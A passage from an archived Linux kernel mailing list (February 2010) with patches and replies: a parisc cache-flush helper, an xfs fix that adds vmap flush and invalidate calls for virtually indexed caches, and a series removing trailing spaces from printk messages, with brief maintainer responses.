+static inline void invalidate_kernel_vmap_range(void *addr, int size)
+{
+	__flush_invalidate_region(addr, size);
+}
 
 #define ARCH_HAS_FLUSH_KERNEL_DCACHE_PAGE
 static inline void flush_kernel_dcache_page(struct page *page)
-- 
1.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCHv3 5/5] xfs: fix xfs to work with Virtually Indexed architectures
Date: Fri,  5 Feb 2010 09:50:57 -0600
Lines: 76
Approved: news@gmane.org
Message-ID: <1265385057-2575-6-git-send-email-James.Bottomley@suse.de>
References: <1265385057-2575-1-git-send-email-James.Bottomley@suse.de>
 <1265385057-2575-2-git-send-email-James.Bottomley@suse.de>
 <1265385057-2575-3-git-send-email-James.Bottomley@suse.de>
 <1265385057-2575-4-git-send-email-James.Bottomley@suse.de>
 <1265385057-2575-5-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1265385111 31578 80.91.229.12 (5 Feb 2010 15:51:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Feb 2010 15:51:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, rmk@arm.linux.org.uk,
	lethal@linux-sh.org, torvalds@linux-foundation.org, hch@lst.de,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Feb 05 16:51:48 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1NdQT3-0004hq-4d
	for glka-linux-arch@lo.gmane.org; Fri, 05 Feb 2010 16:51:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754186Ab0BEPv2 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 5 Feb 2010 10:51:28 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:52436 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754107Ab0BEPvV (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Fri, 5 Feb 2010 10:51:21 -0500
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id 7FCC68A95F;
	Fri,  5 Feb 2010 16:51:20 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1265385057-2575-5-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:5134 gmane.linux.ports.parisc:2625
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2625>

xfs_buf.c includes what is essentially a hand rolled version of
blk_rq_map_kern().  In order to work properly with the vmalloc buffers
that xfs uses, this hand rolled routine must also implement the flushing
API for vmap/vmalloc areas.

[style updates from hch@lst.de]
Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 fs/xfs/linux-2.6/xfs_buf.c |   30 +++++++++++++++++++++++++++++-
 1 files changed, 29 insertions(+), 1 deletions(-)

diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c
index 77b8be8..6f3ebb6 100644
--- a/fs/xfs/linux-2.6/xfs_buf.c
+++ b/fs/xfs/linux-2.6/xfs_buf.c
@@ -76,6 +76,27 @@ struct workqueue_struct *xfsconvertd_workqueue;
 #define xfs_buf_deallocate(bp) \
 	kmem_zone_free(xfs_buf_zone, (bp));
 
+static inline int
+xfs_buf_is_vmapped(
+	struct xfs_buf	*bp)
+{
+	/*
+	 * Return true if the buffer is vmapped.
+	 *
+	 * The XBF_MAPPED flag is set if the buffer should be mapped, but the
+	 * code is clever enough to know it doesn't have to map a single page,
+	 * so the check has to be both for XBF_MAPPED and bp->b_page_count > 1.
+	 */
+	return (bp->b_flags & XBF_MAPPED) && bp->b_page_count > 1;
+}
+
+static inline int
+xfs_buf_vmap_len(
+	struct xfs_buf	*bp)
+{
+	return (bp->b_page_count * PAGE_SIZE) - bp->b_offset;
+}
+
 /*
  *	Page Region interfaces.
  *
@@ -314,7 +335,7 @@ xfs_buf_free(
 	if (bp->b_flags & (_XBF_PAGE_CACHE|_XBF_PAGES)) {
 		uint		i;
 
-		if ((bp->b_flags & XBF_MAPPED) && (bp->b_page_count > 1))
+		if (xfs_buf_is_vmapped(bp))
 			free_address(bp->b_addr - bp->b_offset);
 
 		for (i = 0; i < bp->b_page_count; i++) {
@@ -1107,6 +1128,9 @@ xfs_buf_bio_end_io(
 
 	xfs_buf_ioerror(bp, -error);
 
+	if (!error && xfs_buf_is_vmapped(bp) && (bp->b_flags & XBF_READ))
+		invalidate_kernel_vmap_range(bp->b_addr, xfs_buf_vmap_len(bp));
+
 	do {
 		struct page	*page = bvec->bv_page;
 
@@ -1216,6 +1240,10 @@ next_chunk:
 
 submit_io:
 	if (likely(bio->bi_size)) {
+		if (xfs_buf_is_vmapped(bp)) {
+			flush_kernel_vmap_range(bp->b_addr,
+						xfs_buf_vmap_len(bp));
+		}
 		submit_bio(rw, bio);
 		if (size)
 			goto next_chunk;
-- 
1.6.5


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCHv3 0/5] fix xfs by making I/O to vmap/vmalloc areas work
Date: Fri, 5 Feb 2010 17:06:40 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20100205160640.GA24344@lst.de>
References: <1265385057-2575-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265386027 3103 80.91.229.12 (5 Feb 2010 16:07:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 5 Feb 2010 16:07:07 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org,
	rmk@arm.linux.org.uk, lethal@linux-sh.org,
	torvalds@linux-foundation.org, hch@lst.de,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Feb 05 17:07:02 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1NdQhx-0007XT-QS
	for glka-linux-arch@lo.gmane.org; Fri, 05 Feb 2010 17:07:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754061Ab0BEQHA (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 5 Feb 2010 11:07:00 -0500
Original-Received: from verein.lst.de ([213.95.11.210]:48611 "EHLO verein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753907Ab0BEQG7 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Fri, 5 Feb 2010 11:06:59 -0500
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by verein.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id o15G6fWY024396
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Fri, 5 Feb 2010 17:06:41 +0100
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-7.2) id o15G6fjg024395;
	Fri, 5 Feb 2010 17:06:41 +0100
Content-Disposition: inline
In-Reply-To: <1265385057-2575-1-git-send-email-James.Bottomley@suse.de>
User-Agent: Mutt/1.3.28i
X-Spam-Score: 0 () 
X-Scanned-By: MIMEDefang 2.39
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:5135 gmane.linux.ports.parisc:2626
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2626>

On Fri, Feb 05, 2010 at 09:50:52AM -0600, James Bottomley wrote:
> From: James Bottomley <James.Bottomley@HansenPartnership.com>
> 
> This is essentially a small tidy up from the previous series.  I
> thought about the Ben H additions, but since power doesn't seem to
> need this, they seemed a bit moot (we can expand the API when an
> actual user comes along).
> 
> The patch series adds a flush/invalidate_kernel_vmap_range() API that
> drivers using vmap/vmalloc areas must use before sending tohse areas
> for I/O.  This makes it crystal clear that coherence on these areas is
> the responsibility of the driver alone.  Fortunately xfs is the only
> thing in the kernel actually doing I/O to vmap areas.
> 
> Sin ce xfs is completely broken on most VIPT architectures without
> this, I'd like to submit it as a bug fix for 2.6.33.  Unfortunately,
> we actually have some parisc xfs users whose data is curently at
> severe risk.

Agreed.  There's also a lot of ARM users popping up with this recently,
while others worked around it using local flushing hacks previously.


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.uclinux.microblaze,gmane.linux.ports.sparc,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.uml.devel
Subject: [PATCH 00/16] remove trailing spaces in messages
Date: Sat, 6 Feb 2010 18:44:36 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <201002061844.45212.elendil@planet.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265478333 7798 80.91.229.12 (6 Feb 2010 17:45:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Feb 2010 17:45:33 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        "David S. Miller" <davem@davemloft.net>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>, Ingo Molnar <mingo@elte.hu>,
        Jeff Dike <jdike@addtoit.com>,
        Jiri Kosina <trivial@kernel.org>,
        Kyle McMartin <kyle@mcmartin.ca>, linux-alpha@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linux-pm@lists.linux-foundation.org, linuxppc-dev@ozlabs.org,
        linux-s390@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        microblaze-uclinux@itee.uq.edu.au,
        Mike Frysinger <vapier@gentoo.org>,
        Paul Mackerras <paulus@samba.org>,
        "Rafael J. Wysocki" <rjw@sisk.pl>,
        Ralf B
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Sat Feb 06 18:45:25 2010
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Ndoii-0000M8-TI
	for sgi-linux-mips@gmane.org; Sat, 06 Feb 2010 18:45:25 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:50180 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S1492072Ab0BFRpS (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Sat, 6 Feb 2010 18:45:18 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Sat, 06 Feb 2010 18:44:59 +0100 (CET)
Original-Received: from Cpsmtpm-eml109.kpnxchange.com ([195.121.3.13]:62725 "EHLO
        CPSMTPM-EML109.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S1492026Ab0BFRow (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Sat, 6 Feb 2010 18:44:52 +0100
Original-Received: from aragorn.fjphome.nl ([77.166.180.99]) by CPSMTPM-EML109.kpnxchange.com with Microsoft SMTPSVC(7.0.6001.18000);
         Sat, 6 Feb 2010 18:44:45 +0100
User-Agent: KMail/1.9.9
Content-Disposition: inline
X-OriginalArrivalTime: 06 Feb 2010 17:44:45.0591 (UTC) FILETIME=[12149270:01CAA754]
X-archive-position: 25890
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: elendil@planet.nl
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:26952 gmane.linux.kernel:947265 gmane.linux.ports.alpha:711 gmane.linux.ports.arm.kernel:74095 gmane.linux.ports.ia64:21164 gmane.linux.ports.parisc:2627 gmane.linux.ports.ppc64.devel:64291 gmane.linux.uclinux.microblaze:10058 gmane.linux.ports.sparc:12763 gmane.linux.hardware.blackfin.kernel.devel:3501 gmane.linux.uml.devel:12307
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2627>

This is a first series of patches to remove trailing spaces in messages. 
Patches cover arch-specific code plus one fix for PM and one in 
Documentation. Depending on how this series is received I'll continue
with other parts of the kernel.

Benefits are:
- general cleanup and consistency
- minor reduction in kernel size and user's log file size
- reduced annoyance for people writing logcheck rules

The patch for m68k has been rebased against linux-next; all other
patches apply against both mainline and -next (as of 5-2).

Shortstat:
 74 files changed, 135 insertions(+), 136 deletions(-)

Frans Pop (16):
      alpha: remove trailing spaces in messages
      arm: remove trailing spaces in messages
      ia64: remove trailing space in messages
      m68k: remove trailing space in messages
      microblaze: remove trailing space in messages
      mips: remove trailing space in messages
      parisc: remove trailing space in messages
      s390: remove trailing space in messages
      sparc: remove trailing space in messages
      x86: remove trailing space in messages
      blackfin: remove trailing space in messages
      cris/trivial: remove trailing space in message
      powerpc: remove trailing space in messages
      um: remove trailing space in messages
      PM: remove trailing space in message
      trivial: remove trailing space in spidev test program



From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 07/16] parisc: remove trailing space in messages
Date: Sat,  6 Feb 2010 18:47:14 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <1265478443-31072-7-git-send-email-elendil@planet.nl>
References: <201002061844.45212.elendil@planet.nl>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1265478557 8414 80.91.229.12 (6 Feb 2010 17:49:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Feb 2010 17:49:17 +0000 (UTC)
Cc: Frans Pop <elendil@planet.nl>, linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Feb 06 18:49:12 2010
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1NdomL-0002Yx-U4
	for glk-linux-kernel-3@lo.gmane.org; Sat, 06 Feb 2010 18:49:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932892Ab0BFRrc (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 6 Feb 2010 12:47:32 -0500
Original-Received: from Cpsmtpm-eml109.kpnxchange.com ([195.121.3.13]:63436 "EHLO
	CPSMTPM-EML109.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932342Ab0BFRr1 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 6 Feb 2010 12:47:27 -0500
Original-Received: from elrond.fjphome.nl ([77.166.180.99]) by CPSMTPM-EML109.kpnxchange.com with Microsoft SMTPSVC(7.0.6001.18000);
	 Sat, 6 Feb 2010 18:47:25 +0100
Original-Received: from aragorn.fjphome.nl ([10.19.66.13])
	by elrond.fjphome.nl with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <fjp@aragorn.fjphome.nl>)
	id 1Ndokf-0000X1-14; Sat, 06 Feb 2010 18:47:25 +0100
Original-Received: from fjp by aragorn.fjphome.nl with local (Exim 4.69)
	(envelope-from <fjp@aragorn.fjphome.nl>)
	id 1Ndoke-000860-Bx; Sat, 06 Feb 2010 18:47:24 +0100
X-Mailer: git-send-email 1.6.6.1
In-Reply-To: <201002061844.45212.elendil@planet.nl>
X-OriginalArrivalTime: 06 Feb 2010 17:47:25.0633 (UTC) FILETIME=[71790B10:01CAA754]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:947271 gmane.linux.ports.parisc:2628
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2628>

Signed-off-by: Frans Pop <elendil@planet.nl>
Cc: linux-parisc@vger.kernel.org
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
---
 arch/parisc/kernel/cache.c       |    4 ++--
 drivers/parisc/eisa_enumerator.c |    2 +-
 drivers/parisc/superio.c         |    2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index b6ed34d..fc6c8cb 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -171,14 +171,14 @@ parisc_cache_init(void)
 		cache_info.ic_conf.cc_cst,
 		cache_info.ic_conf.cc_hv);
 
-	printk("D-TLB conf: sh %d page %d cst %d aid %d pad1 %d \n",
+	printk("D-TLB conf: sh %d page %d cst %d aid %d pad1 %d\n",
 		cache_info.dt_conf.tc_sh,
 		cache_info.dt_conf.tc_page,
 		cache_info.dt_conf.tc_cst,
 		cache_info.dt_conf.tc_aid,
 		cache_info.dt_conf.tc_pad1);
 
-	printk("I-TLB conf: sh %d page %d cst %d aid %d pad1 %d \n",
+	printk("I-TLB conf: sh %d page %d cst %d aid %d pad1 %d\n",
 		cache_info.it_conf.tc_sh,
 		cache_info.it_conf.tc_page,
 		cache_info.it_conf.tc_cst,
diff --git a/drivers/parisc/eisa_enumerator.c b/drivers/parisc/eisa_enumerator.c
index 0be1d50..caa1531 100644
--- a/drivers/parisc/eisa_enumerator.c
+++ b/drivers/parisc/eisa_enumerator.c
@@ -460,7 +460,7 @@ static int init_slot(int slot, struct eeprom_eisa_slot_info *es)
 			       slot, id_string);
 			
 			print_eisa_id(id_string, es->eisa_slot_id);
-			printk(" expected %s \n", id_string);
+			printk(" expected %s\n", id_string);
 		
 			return -1;	
 			
diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index a35c9c5..f7806d8 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -169,7 +169,7 @@ superio_init(struct pci_dev *pcidev)
 	/* ...then properly fixup the USB to point at suckyio PIC */
 	sio->usb_pdev->irq = superio_fixup_irq(sio->usb_pdev);
 
-	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i) \n",
+	printk(KERN_INFO PFX "Found NS87560 Legacy I/O device at %s (IRQ %i)\n",
 	       pci_name(pdev), pdev->irq);
 
 	pci_read_config_dword (pdev, SIO_SP1BAR, &sio->sp1_base);
-- 
1.6.6.1


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frans Pop <elendil@planet.nl>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH 00/16] remove trailing spaces in messages
Date: Sat, 6 Feb 2010 21:57:42 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <201002062157.44357.elendil@planet.nl>
References: <201002061844.45212.elendil@planet.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1265489883 8878 80.91.229.12 (6 Feb 2010 20:58:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Feb 2010 20:58:03 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
	sparclinux@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-alpha-owner@vger.kernel.org Sat Feb 06 21:57:59 2010
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1Ndrj4-0002v3-04
	for lnx-linux-alpha@lo.gmane.org; Sat, 06 Feb 2010 21:57:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756029Ab0BFU5r (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 6 Feb 2010 15:57:47 -0500
Original-Received: from cpsmtpm-eml103.kpnxchange.com ([195.121.3.7]:58772 "EHLO
	CPSMTPM-EML103.kpnxchange.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755944Ab0BFU5q (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Sat, 6 Feb 2010 15:57:46 -0500
Original-Received: from aragorn.fjphome.nl ([77.166.180.99]) by CPSMTPM-EML103.kpnxchange.com with Microsoft SMTPSVC(7.0.6001.18000);
	 Sat, 6 Feb 2010 21:57:44 +0100
User-Agent: KMail/1.9.9
In-Reply-To: <201002061844.45212.elendil@planet.nl>
Content-Disposition: inline
X-OriginalArrivalTime: 06 Feb 2010 20:57:45.0075 (UTC) FILETIME=[07FD9C30:01CAA76F]
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:713 gmane.linux.kernel:947297 gmane.linux.ports.ia64:21166 gmane.linux.ports.parisc:2629 gmane.linux.ports.sparc:12766
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2629>

Resending the patch cover letter for vger only as it didn't reach there for 
some reason (# recipients maybe?).

+++++++++++
This is a first series of patches to remove trailing spaces in messages. 
Patches cover arch-specific code plus one fix for PM and one in 
Documentation. Depending on how this series is received I'll continue
with other parts of the kernel.

Benefits are:
- general cleanup and consistency
- minor reduction in kernel size and user's log file size
- reduced annoyance for people writing logcheck rules

The patch for m68k has been rebased against linux-next; all other
patches apply against both mainline and -next (as of 5-2).

Shortstat:
 74 files changed, 135 insertions(+), 136 deletions(-)

Frans Pop (16):
      alpha: remove trailing spaces in messages
      arm: remove trailing spaces in messages
      ia64: remove trailing space in messages
      m68k: remove trailing space in messages
      microblaze: remove trailing space in messages
      mips: remove trailing space in messages
      parisc: remove trailing space in messages
      s390: remove trailing space in messages
      sparc: remove trailing space in messages
      x86: remove trailing space in messages
      blackfin: remove trailing space in messages
      cris/trivial: remove trailing space in message
      powerpc: remove trailing space in messages
      um: remove trailing space in messages
      PM: remove trailing space in message
      trivial: remove trailing space in spidev test program
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 07/16] parisc: remove trailing space in messages
Date: Sat, 6 Feb 2010 18:53:42 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20100206235342.GO24051@bombadil.infradead.org>
References: <201002061844.45212.elendil@planet.nl> <1265478443-31072-7-git-send-email-elendil@planet.nl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265500439 4047 80.91.229.12 (6 Feb 2010 23:53:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 6 Feb 2010 23:53:59 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
To: Frans Pop <elendil@planet.nl>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 07 00:53:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NduTK-0006pe-Tu
	for glpp-linux-parisc@lo.gmane.org; Sun, 07 Feb 2010 00:53:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756534Ab0BFXxp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 6 Feb 2010 18:53:45 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:44344 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755690Ab0BFXxo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 6 Feb 2010 18:53:44 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NduT8-0002YH-Hj; Sat, 06 Feb 2010 23:53:42 +0000
Content-Disposition: inline
In-Reply-To: <1265478443-31072-7-git-send-email-elendil@planet.nl>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2630 gmane.linux.kernel:947306
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2630>

On Sat, Feb 06, 2010 at 06:47:14PM +0100, Frans Pop wrote:
> Signed-off-by: Frans Pop <elendil@planet.nl>
> Cc: linux-parisc@vger.kernel.org
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: Helge Deller <deller@gmx.de>

I'll apply this.

Thanks Frans.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't find a register in class 'R1_REGS' while reloading 'asm'
Date: Sat, 6 Feb 2010 19:23:35 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20100207002335.GP24051@bombadil.infradead.org>
References: <20091207223548.GA4515@raptus.dandreoli.com> <20091208012627.1D22C4FE3@hiauly1.hia.nrc.ca> <20091208030114.GA12872@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1265502223 9655 80.91.229.12 (7 Feb 2010 00:23:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 7 Feb 2010 00:23:43 +0000 (UTC)
Cc: Domenico Andreoli <cavokz@gmail.com>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 07 01:23:40 2010
